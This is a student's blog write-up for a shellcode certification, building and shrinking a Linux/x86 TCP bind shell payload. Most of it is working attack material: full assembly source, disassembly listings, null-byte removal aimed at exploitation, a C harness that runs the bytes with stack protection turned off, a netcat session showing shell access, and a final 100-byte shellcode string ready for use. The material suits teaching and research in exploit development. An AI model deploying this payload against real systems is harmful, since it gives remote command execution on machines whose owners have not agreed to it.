SLAE Assignment #1 - Linux/x86 TCP Bind Shell


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.

Student ID: SLAE-1202

TL;DR: Final shellcode is here


Well, in my previous article I presented detailed explanation of msfvenom-generated linux/x86/shellcode_bind_tcp payload. Please, read it first, because it makes most of things clear.

As you can know from this article, basic bind_tcp shellcode consists from six parts with different syscalls:

  1. SYS_SOCKETCALL & SYS_SOCKET
  2. SYS_SOCKETCALL & SYS_BIND
  3. SYS_SOCKETCALL & SYS_LISTEN
  4. SYS_SOCKETCALL & SYS_ACCEPT
  5. SYS_DUP2
  6. SYS_EXECVE

So, we just need to implement all these steps in our shellcode to create necessary functionaliity for our shellcode.

Bind_TCP Shellcode

Here is the code of my bind_tcp shellcode with all six parts implemented:

; bind_shell.asm
; Author: German Namestnikov

global _start

section .text
_start:
    ; int socket(int domain, int type, int protocol);
    mov eax, 0x66       ; SYS_SOCKETCALL
    mov ebx, 0x01       ; SYS_SOCKET

    push dword 0x00           ; protocol = 0
    push dword 0x01           ; type = SOCK_STREAM
    push dword 0x02           ; domain = AF_INET

    mov ecx, esp        ; ecx -> params 

    int 0x80            

    mov edx, eax        ; save socket descriptor
    


    ; int bind(int sockfd, const struct sockaddr *addr,
    ;            socklen_t addrlen);
    mov eax, 0x66       ; SYS_SOCKETCALL
    mov ebx, 0x02       ; SYS_BIND
    

    ; struct sockaddr_in {
    push dword 0x00     ; char sin_zero[8]
    push dword 0x00
    push dword 0x00     ; sin_addr = htons(0.0.0.0)
    push word 0x901f    ; sin_port = htons(8080)     <------ place your port in 
                        ;                                    big-endian here
    push word 0x02      ; sin_family = AF_INET
    ; };
    
    mov ecx, esp       	; ecx -> sockaddr_in addr
    
    push dword 0x10     ; addrlen = 16
    push ecx            ; sockaddr_in* addr
    push edx            ; sockfd
    
    mov ecx, esp        ; ecx -> params

    int 0x80
   

    ; int listen(int sockfd, int backlog);
    mov eax, 0x66
    mov ebx, 0x04

    push dword 0x00     ; backlog
    push edx		; sockfd

    mov ecx, esp        ; ecx -> params

    int 0x80

    
    ; int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
    mov eax, 0x66
    mov ebx, 0x05
    
    push dword 0x00     ; *addrlen = NULL
    push dword 0x00	; *addr = NULL
    push edx		; sockfd 

    int 0x80
    
    mov ebx, eax 	; ebx = accept_descriptor

    ; int dup2(int oldfd, int newfd);
    ; int dup2(accept_descriptor, STDERR)
    mov eax, 0x3f
    mov ecx, 0x02

    int 0x80
    
    ; int dup2(accept_descriptor, STDOUT)
    mov eax, 0x3f
    mov ecx, 0x01

    int 0x80
    
    ; int dup2(accept_descriptor, STDIN)
    mov eax, 0x3f
    mov ecx, 0x00
   
    int 0x80


    ; int execve(const char *filename, char *const argv[],
    ;              char *const envp[]);

    push byte 0x00              ; NULL-terminator for '/bin//sh'	
    push dword 0x68732f2f	; push "hs//"
    push dword 0x6e69622f	; push "nib/"
   
    mov ebx, esp	; EBX points to the '/bin//sh', 0x00 string 
 
    xor ecx, ecx 	; Set 0 all other params
    xor edx, edx        ; for SYS_EXECVE
    xor esi, esi

    mov al, 0x0b 	; SYS_EXECVE CODE
    int 0x80       

This code (unlike the msfvenom-generated shellcode) fully follows syscalls declarations and man-pages, and doesn’t contain any hacks that may help us with the bad chars or shellcode size (and reduce readability). TCP port for our shell is easily configurable too.

Optimization

This code is clear for anyone who reads it. But the main purpose of our shellcode is to be executed on remote machine and we should satisfy some requirements for that.

If you compile this code and check it in the ‘objdump’, you will see a great amount of 0x00 bytes that may cause troubles for us during exploitation:

german@slae-lab:~/assignment_1$ objdump -D bind_shell -M intel

bind_shell:     file format elf32-i386


Disassembly of section .text:

08048060 <_start>:
 8048060:	b8 66 00 00 00       	mov    eax,0x66
 8048065:	bb 01 00 00 00       	mov    ebx,0x1
 804806a:	6a 00                	push   0x0
 804806c:	6a 01                	push   0x1
 804806e:	6a 02                	push   0x2
 8048070:	89 e1                	mov    ecx,esp
 8048072:	cd 80                	int    0x80
 8048074:	89 c2                	mov    edx,eax
 8048076:	b8 66 00 00 00       	mov    eax,0x66
 804807b:	bb 02 00 00 00       	mov    ebx,0x2
 8048080:	6a 00                	push   0x0
 8048082:	6a 00                	push   0x0
 8048084:	6a 00                	push   0x0
 8048086:	66 68 1f 90          	pushw  0x901f
 804808a:	66 6a 02             	pushw  0x2
 804808d:	89 e1                	mov    ecx,esp
 804808f:	6a 10                	push   0x10
 8048091:	51                   	push   ecx
 8048092:	52                   	push   edx
 8048093:	89 e1                	mov    ecx,esp
 8048095:	cd 80                	int    0x80
 8048097:	b8 66 00 00 00       	mov    eax,0x66
 804809c:	bb 04 00 00 00       	mov    ebx,0x4
 80480a1:	6a 00                	push   0x0
 80480a3:	52                   	push   edx
 80480a4:	89 e1                	mov    ecx,esp
 80480a6:	cd 80                	int    0x80
 80480a8:	b8 66 00 00 00       	mov    eax,0x66
 80480ad:	bb 05 00 00 00       	mov    ebx,0x5
 80480b2:	6a 00                	push   0x0
 80480b4:	6a 00                	push   0x0
 80480b6:	52                   	push   edx
 80480b7:	cd 80                	int    0x80
 80480b9:	89 c3                	mov    ebx,eax
 80480bb:	b8 3f 00 00 00       	mov    eax,0x3f
 80480c0:	b9 02 00 00 00       	mov    ecx,0x2
 80480c5:	cd 80                	int    0x80
 80480c7:	b8 3f 00 00 00       	mov    eax,0x3f
 80480cc:	b9 01 00 00 00       	mov    ecx,0x1
 80480d1:	cd 80                	int    0x80
 80480d3:	b8 3f 00 00 00       	mov    eax,0x3f
 80480d8:	b9 00 00 00 00       	mov    ecx,0x0
 80480dd:	cd 80                	int    0x80
 80480df:	b8 0b 00 00 00       	mov    eax,0xb
 80480e4:	6a 00                	push   0x0
 80480e6:	68 2f 2f 73 68       	push   0x68732f2f
 80480eb:	68 2f 62 69 6e       	push   0x6e69622f
 80480f0:	89 e3                	mov    ebx,esp
 80480f2:	31 c9                	xor    ecx,ecx
 80480f4:	31 d2                	xor    edx,edx
 80480f6:	31 f6                	xor    esi,esi
 80480f8:	b0 0b                	mov    al,0xb
 80480fa:	cd 80                	int    0x80

As you can see, 0x00 bytes happened where we use ‘mov’ with 32-bit registers or ‘push 0x00’ instructions. Let’s solve these two problems one by one.

PUSH DWORD 0x00

Well, this is a pretty common instruction for our bind shell, because most of functions like socket() or accept() requires ‘int’ arguments and sizeof(int) equals ‘dword’ for x86 systems.

To remove these instructions from my code, I chose a register I never use to store non-zero values - ESI - XORed it and used in PUSHes. Here is an ‘objdump’ output:

german@slae-lab:~/assignment_1$ objdump -D bind_shell -M intel

bind_shell:     file format elf32-i386


Disassembly of section .text:

08048060 <_start>:
 8048060:	b8 66 00 00 00       	mov    eax,0x66
 8048065:	bb 01 00 00 00       	mov    ebx,0x1
 804806a:	31 f6                	xor    esi,esi
 804806c:	56                   	push   esi
 804806d:	6a 01                	push   0x1
 804806f:	6a 02                	push   0x2
 8048071:	89 e1                	mov    ecx,esp
 8048073:	cd 80                	int    0x80
 8048075:	89 c2                	mov    edx,eax
 8048077:	b8 66 00 00 00       	mov    eax,0x66
 804807c:	bb 02 00 00 00       	mov    ebx,0x2
 8048081:	56                   	push   esi
 8048082:	56                   	push   esi
 8048083:	56                   	push   esi
 8048084:	66 68 1f 90          	pushw  0x901f
 8048088:	66 6a 02             	pushw  0x2
 804808b:	89 e1                	mov    ecx,esp
 804808d:	6a 10                	push   0x10
 804808f:	51                   	push   ecx
 8048090:	52                   	push   edx
 8048091:	89 e1                	mov    ecx,esp
 8048093:	cd 80                	int    0x80
 8048095:	b8 66 00 00 00       	mov    eax,0x66
 804809a:	bb 04 00 00 00       	mov    ebx,0x4
 804809f:	56                   	push   esi
 80480a0:	52                   	push   edx
 80480a1:	89 e1                	mov    ecx,esp
 80480a3:	cd 80                	int    0x80
 80480a5:	b8 66 00 00 00       	mov    eax,0x66
 80480aa:	bb 05 00 00 00       	mov    ebx,0x5
 80480af:	56                   	push   esi
 80480b0:	56                   	push   esi
 80480b1:	52                   	push   edx
 80480b2:	cd 80                	int    0x80
 80480b4:	89 c3                	mov    ebx,eax
 80480b6:	31 c0                	xor    eax,eax
 80480b8:	31 c9                	xor    ecx,ecx
 80480ba:	b0 3f                	mov    al,0x3f
 80480bc:	b1 02                	mov    cl,0x2
 80480be:	cd 80                	int    0x80
 80480c0:	b0 3f                	mov    al,0x3f
 80480c2:	fe c9                	dec    cl
 80480c4:	cd 80                	int    0x80
 80480c6:	b0 3f                	mov    al,0x3f
 80480c8:	fe c9                	dec    cl
 80480ca:	cd 80                	int    0x80
 80480cc:	56                   	push   esi
 80480cd:	68 2f 2f 73 68       	push   0x68732f2f
 80480d2:	68 2f 62 69 6e       	push   0x6e69622f
 80480d7:	89 e3                	mov    ebx,esp
 80480d9:	31 c9                	xor    ecx,ecx
 80480db:	31 d2                	xor    edx,edx
 80480dd:	31 c0                	xor    eax,eax
 80480df:	b0 0b                	mov    al,0xb
 80480e1:	cd 80                	int    0x80

As you can see, it significantly reduces amount of 0x00 bytes in our shellcode.

MOV <32-bit register>, <32-bit value>

Ok, let’s fight with another problem, instructions like ‘mov eax,0x66’ with opcodes ‘b8 66 00 00 00’ makes a 0x00 bytes too.

The main problem here is that some syscalls return some value in EAX register and you can’t guarantee that this value will be limited by one byte. So, you can’t just replace EAX with AL and others, you should make whole EAX zero, before placing necessary value into AL.

I inspected carefully my code and changed some ‘mov’ instructions to avoid 0x00 bytes:

german@slae-lab:~/assignment_1$ objdump -D bind_shell -M intel

bind_shell:     file format elf32-i386


Disassembly of section .text:

08048060 <_start>:
 8048060:	31 c0                	xor    eax,eax
 8048062:	31 db                	xor    ebx,ebx
 8048064:	b0 66                	mov    al,0x66
 8048066:	b3 01                	mov    bl,0x1
 8048068:	31 f6                	xor    esi,esi
 804806a:	56                   	push   esi
 804806b:	6a 01                	push   0x1
 804806d:	6a 02                	push   0x2
 804806f:	89 e1                	mov    ecx,esp
 8048071:	cd 80                	int    0x80
 8048073:	31 d2                	xor    edx,edx
 8048075:	92                   	xchg   edx,eax
 8048076:	31 c0                	xor    eax,eax
 8048078:	b0 66                	mov    al,0x66
 804807a:	b3 02                	mov    bl,0x2
 804807c:	56                   	push   esi
 804807d:	56                   	push   esi
 804807e:	56                   	push   esi
 804807f:	66 68 1f 90          	pushw  0x901f
 8048083:	66 6a 02             	pushw  0x2
 8048086:	89 e1                	mov    ecx,esp
 8048088:	6a 10                	push   0x10
 804808a:	51                   	push   ecx
 804808b:	52                   	push   edx
 804808c:	89 e1                	mov    ecx,esp
 804808e:	cd 80                	int    0x80
 8048090:	31 c0                	xor    eax,eax
 8048092:	b0 66                	mov    al,0x66
 8048094:	b3 04                	mov    bl,0x4
 8048096:	56                   	push   esi
 8048097:	52                   	push   edx
 8048098:	89 e1                	mov    ecx,esp
 804809a:	cd 80                	int    0x80
 804809c:	31 c0                	xor    eax,eax
 804809e:	b0 66                	mov    al,0x66
 80480a0:	b3 05                	mov    bl,0x5
 80480a2:	56                   	push   esi
 80480a3:	56                   	push   esi
 80480a4:	52                   	push   edx
 80480a5:	cd 80                	int    0x80
 80480a7:	89 c3                	mov    ebx,eax
 80480a9:	31 c0                	xor    eax,eax
 80480ab:	31 c9                	xor    ecx,ecx
 80480ad:	b0 3f                	mov    al,0x3f
 80480af:	b1 02                	mov    cl,0x2
 80480b1:	cd 80                	int    0x80
 80480b3:	b0 3f                	mov    al,0x3f
 80480b5:	fe c9                	dec    cl
 80480b7:	cd 80                	int    0x80
 80480b9:	b0 3f                	mov    al,0x3f
 80480bb:	fe c9                	dec    cl
 80480bd:	cd 80                	int    0x80
 80480bf:	56                   	push   esi
 80480c0:	68 2f 2f 73 68       	push   0x68732f2f
 80480c5:	68 2f 62 69 6e       	push   0x6e69622f
 80480ca:	89 e3                	mov    ebx,esp
 80480cc:	31 c9                	xor    ecx,ecx
 80480ce:	31 d2                	xor    edx,edx
 80480d0:	31 c0                	xor    eax,eax
 80480d2:	b0 0b                	mov    al,0xb
 80480d4:	cd 80                	int    0x80

Success! There are no 0x00 bytes in our shellcode now. Let’s run our shellcode!

Execution

Make byte stream from our executable and paste it in the C-program that executes it.

You can use this small bash script that converts executable into the shellcode:

objdump -d $1 |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

And here is an executor if you are forget how to write it :)

#include<stdio.h>
#include<string.h>

unsigned char shellcode[] = 
"\x31\xc0\x31\xdb\xb0\x66\xb3\x01\x31\xf6\x56\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x31\xd2\x92\x31\xc0\xb0\x66\xb3\x02\x56\x56\x56\x66\x68\x1f\x90\x66\x6a\x02\x89\xe1\x6a\x10\x51\x52\x89\xe1\xcd\x80\x31\xc0\xb0\x66\xb3\x04\x56\x52\x89\xe1\xcd\x80\x31\xc0\xb0\x66\xb3\x05\x56\x56\x52\xcd\x80\x89\xc3\x31\xc0\x31\xc9\xb0\x3f\xb1\x02\xcd\x80\xb0\x3f\xfe\xc9\xcd\x80\xb0\x3f\xfe\xc9\xcd\x80\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\x31\xc0\xb0\x0b\xcd\x80";

int main()
{
    printf("Shellcode Length: %d\n", strlen(shellcode));
    int (*ret)() = (int(*)())shellcode;
 
    ret();
}

Here is my code stored in ‘shellcode’ variable already. Compile it with gcc -fno-stack-protector -z execstack executor.c -o executor, run ./executor and connects to our bind shell with nc:

german@slae-lab:~/assignment_1$ nc 127.0.0.1 8080
id
uid=1000(german) gid=1000(german) groups=1000(german),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare)
hostname
slae-lab
whoami
german

Well done! Now we can execute commands via our bind shell. Also, in the ‘executor’ screen you can see the size of our shellcode:

german@slae-lab:~/assignment_1$ ./executor 
Shellcode Length: 118

118 byte length is nice (actually, it would work with any exploit I used before), but let’s try to reduce it too!

Length Optimisation

We have working shellcode, but it is not so cool. Let’s try to reduce its length. I am not an expert in assembly and shellcoding, so, my goal - have shellcode with length equals 100 bytes.

Step 1

Ok, start from the simplest point. You can see these instructions in our shellcode:

8048062:	31 db                	xor    ebx,ebx
...
8048066:	b3 01                	mov    bl,0x1
...
804807a:	b3 02                	mov    bl,0x2
...
8048094:	b3 04                	mov    bl,0x4
...
80480a0:	b3 05                	mov    bl,0x5
...

How can we optimize it?

There is a great instruction named ‘INC’! ‘INC EBX’ has a ‘0x43’ opcode that takes only one byte instead two.

Let’s run our executor again:

german@slae-lab:~/assignment_1$ ./executor 
Shellcode Length: 115

Well, we won 3 bytes… not so much, it is lesser than 3% of our shellcode length.

Step 2

Look at our shellcode again. Do you see different dup2() calls that executes the same code and only one variable changes?

Let’s implement simple loop based on JSN instruction:

; int dup2(int oldfd, int newfd);
; int dup2(accept_descriptor, STDERR/STDOUT/STDIN)
xor eax, eax
xor ecx, ecx

mov cl, 0x02
dup2_call:
    mov al, 0x3f

    int 0x80
    dec ecx

    jns dup2_call

This version of shellcode has only 106 bytes length! We saved 9 bytes! Still not so nice, but we reduced initial shellcode length for 12 bytes, more than 10% of its size.

Step 3

Ok, task becomes not so easy :D

Do you remember these lines in ‘objdump’ output?

 804807d:	66 68 1f 90          	pushw  0x901f
 8048081:	66 6a 02             	pushw  0x2

These instructions takes 7 bytes, and it pushes two times word-sized data. Let’s replace it with one doubleword push:

804807d:	68 02 00 1f 90       	push   0x901f0002

Bad news - it gives us additional 0x00 character. But on this step EBX stores 0x2 - can we push it? Yeah!

And this simplest action gives us another one byte on the way to the World Domimance ahaha!

Step 4

This starts to be very challenging! I found that not all my code was written right way :D

This construction is unnecessary, because in the next part we say that size of our address (addrlen) equals 16:

; struct sockaddr_in {
;    push esi                ; char sin_zero[8]
;    push esi

Result

Final shellcode is here:

; bind_shell.asm
; Author: German Namestnikov

global _start

section .text
_start:
    ; int socket(int domain, int type, int protocol);
    xor eax, eax
    xor ebx, ebx
    xor esi, esi

    mov al, 0x66       ; SYS_SOCKETCALL
    inc ebx            ; SYS_SOCKET

    push esi                  ; protocol = 0
    push dword 0x01           ; type = SOCK_STREAM
    push dword 0x02           ; domain = AF_INET

    mov ecx, esp        ; ecx -> params 

    int 0x80            

    xor edx, edx
    xchg edx, eax        ; save socket descriptor    


    ; int bind(int sockfd, const struct sockaddr *addr,
    ;            socklen_t addrlen);
    mov al, 0x66       ; SYS_SOCKETCALL
    inc ebx            ; SYS_BIND
       
    ; struct sockaddr_in {
    push esi                ; sin_addr = htons(0.0.0.0)
    push word 0x901f        ; sin_port = htons(8080) = 0x901f <------ place your port in 
                            ;                                         big-endian here
    push word bx            ; sin_family = AF_INET (0x0002)
    ; };
    
    mov ecx, esp       	; ecx -> sockaddr_in addr
    
    push dword 0x10     ; addrlen = 16
    push ecx            ; sockaddr_in* addr
    push edx            ; sockfd
    
    mov ecx, esp        ; ecx -> params

    int 0x80
   

    ; int listen(int sockfd, int backlog);
    xor eax, eax
    mov al, 0x66
    mov bl, 0x04

    push esi            ; backlog
    push edx		; sockfd

    mov ecx, esp        ; ecx -> params

    int 0x80

    
    ; int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
    xor eax, eax
    mov al, 0x66
    inc ebx

    push esi            ; *addrlen = NULL
    push esi	        ; *addr = NULL
    
    push edx		; sockfd 

    int 0x80
    
    xchg ebx, eax 	; ebx = accept_descriptor


    ; int dup2(int oldfd, int newfd);
    ; int dup2(accept_descriptor, STDERR/STDOUT/STDIN)
    xor eax, eax
    xor ecx, ecx
   
    mov cl, 0x02
    dup2_call:
        mov al, 0x3f
    
        int 0x80    
        dec ecx
        
        jns dup2_call
    

    ; int execve(const char *filename, char *const argv[],
    ;              char *const envp[]);
    
    push esi                    ; NULL-terminator for '/bin//sh'	
    push dword 0x68732f2f	; push "hs//"
    push dword 0x6e69622f	; push "nib/"
   
    mov ebx, esp	; EBX points to the '/bin//sh', 0x00 string 

    xor ecx, ecx 	; Set 0 all other params
    xor edx, edx        ; for SYS_EXECVE
    
    xor eax, eax
    mov al, 0x0b 	; SYS_EXECVE CODE

    int 0x80    

And compiled version:

"\x31\xc0\x31\xdb\x31\xf6\xb0\x66\x43\x56\x6a\x01\x6a"
"\x02\x89\xe1\xcd\x80\x31\xd2\x92\xb0\x66\x43\x56\x66\x68"

"\x1f\x90"

"\x66\x53\x89\xe1\x6a\x10\x51\x52\x89\xe1\xcd\x80\x31\xc0"
"\xb0\x66\xb3\x04\x56\x52\x89\xe1\xcd\x80\x31\xc0\xb0\x66"
"\x43\x56\x56\x52\xcd\x80\x93\x31\xc0\x31\xc9\xb1\x02\xb0"
"\x3f\xcd\x80\x49\x79\xf9\x56\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\x31\xc0\xb0\x0b\xcd"
"\x80"

I selected one part of this shellcode (“\x1f\x90”), because it is a port number (8080) to be opened on the remote machine in Hex. There is no problem to change it manually.

The size of this shellcode is exactly 100 bytes. I realize that I could perform some additional optimization and may be I will implement it later. This shellcode works fine under Ubuntu 12.04 x86.

Also, I created a repo for my SLAE assignments. Check it here.

Good Luck!

The end

comments powered by Disqus